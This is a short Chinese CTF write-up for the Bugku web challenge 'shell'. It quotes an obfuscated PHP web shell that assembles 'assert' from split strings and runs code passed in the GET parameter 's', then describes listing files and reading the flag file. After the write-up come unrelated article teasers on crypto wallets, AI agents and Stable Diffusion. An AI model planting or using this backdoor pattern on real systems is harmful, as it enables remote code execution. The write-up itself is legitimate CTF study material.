Bugku-web(shell,成绩查询)

Bugku-web(shell,成绩查询)

WriteUp1

题目信息

解题思路

打开页面,发现一片空白

观察题目中的描述

$poc="a#s#s#e#r#t";  # 定义一串字符串 $poc_1=explode("#",$poc); # explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"] $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 拼接后 assert $poc_2($_GET['s']) # assert($_GET['s'])

看到是get请求,说明可以在url中传递参数s

得到

分别为flaga15808abee46a1d5.txt和index.php

直接查看flaga15808abee46a1d5.txt即可

得到

Read more

AI辅助架构设计:让快马平台智能生成多链imToken钱包开发方案与安全提示

AI辅助架构设计:让快马平台智能生成多链imToken钱包开发方案与安全提示 开发一个支持多链的去中心化钱包应用确实是个复杂工程,尤其是像imToken这样的成熟产品,需要考虑的细节非常多。最近我在尝试用InsCode(快马)平台的AI辅助功能来梳理这类项目的架构设计,发现它能提供不少实用建议,下面分享下我的实践心得。 1. 项目目录结构设计 合理的目录结构是项目可维护性的基础。通过AI辅助分析,我得到了一个清晰的多链钱包项目结构建议: * src/ * assets/ - 存放静态资源如图标、字体等 * components/ - 可复用的UI组件 * Wallet/ - 钱包相关组件 * Network/ - 网络切换相关组件 * contexts/ - 状态管理上下文 * hooks/ - 自定义Hook * services/ - 业务逻辑服务 * api/ - 与区块链节点交互的API * wallet/ - 钱包核心逻辑 * utils/ - 工具函数 * chains/ -

2026年AI Agent实战:从玩具到生产力的落地手册(附源码)

2026年AI Agent实战:从玩具到生产力的落地手册(附源码)

欢迎文末添加好友交流,共同进步! “ 俺はモンキー・D・ルフィ。海贼王になる男だ!” * 前言 * 目录 * 一、AI Agent 的核心架构 * 1.1 什么是AI Agent? * 1.2 2026年Agent技术栈全景 * 二、从零搭建生产级Agent框架 * 2.1 项目结构设计 * 2.2 核心代码:Agent基类 * 2.3 记忆管理系统 * 三、三大核心技术实现 * 3.1 ReAct框架:推理+行动协同 * 3.2 工具调用系统 * 3.3 任务规划器 * 四、实战案例:智能客服Agent * 4.1 场景分析

支持国内股票分析的AI智能开源项目(GitHub Star数量Top榜)

支持国内股票分析的AI智能开源项目(GitHub Star数量Top榜) 一、核心结论 GitHub上支持国内股票(A股)分析且Star数量靠前的AI智能开源项目,按Star数量降序排列依次为: 1. OpenBB(57.4k Star):开源金融数据平台,支持A股等多市场数据获取与AI辅助分析; 2. ai-hedge-fund(44.9k Star):AI对冲基金模拟系统,通过多智能体协作模拟投资大师策略,可适配A股; 3. FinGenius(新兴项目,Star快速增长):专为A股设计的多智能体博弈分析工具,融合16位AI专家协作; 4. daily_stock_analysis(5.5k Star):A股智能分析系统,基于大模型生成每日决策报告。 二、项目详细说明 1. OpenBB:开源金融数据与分析平台(57.4k Star) * 项目地址:https://github.

Stable Diffusion 3.5创意工作流:云端GPU加速商业创作

Stable Diffusion 3.5创意工作流:云端GPU加速商业创作 你是不是也遇到过这样的问题:设计项目时间紧,客户又要改第十版logo;海报文案刚定,还得马上出图发朋友圈预热;团队里美工不够用,AI生成的图又太“塑料感”?别急,今天我要分享一个真正能落地到设计工作室日常流程里的解决方案——用 Stable Diffusion 3.5 + 云端GPU 搭建一套稳定、高效、可商用的AI辅助创作系统。 我做了近十年AI视觉项目,从最早的GAN到现在的扩散模型,踩过的坑比走过的路还多。但说实话,直到Stable Diffusion 3.5发布,我才真正觉得:“这玩意儿,终于能当生产力工具用了。” 它不仅免费可商用(对中小团队简直是福音),而且在提示词理解、文字渲染、构图逻辑上都有质的飞跃。更重要的是,它有三个版本(Large、Large Turbo、Medium),你可以根据项目需求灵活选择——要质量就上8B参数的Large,要速度就用四步出图的Turbo,本地跑不动还有轻量级Medium兜底。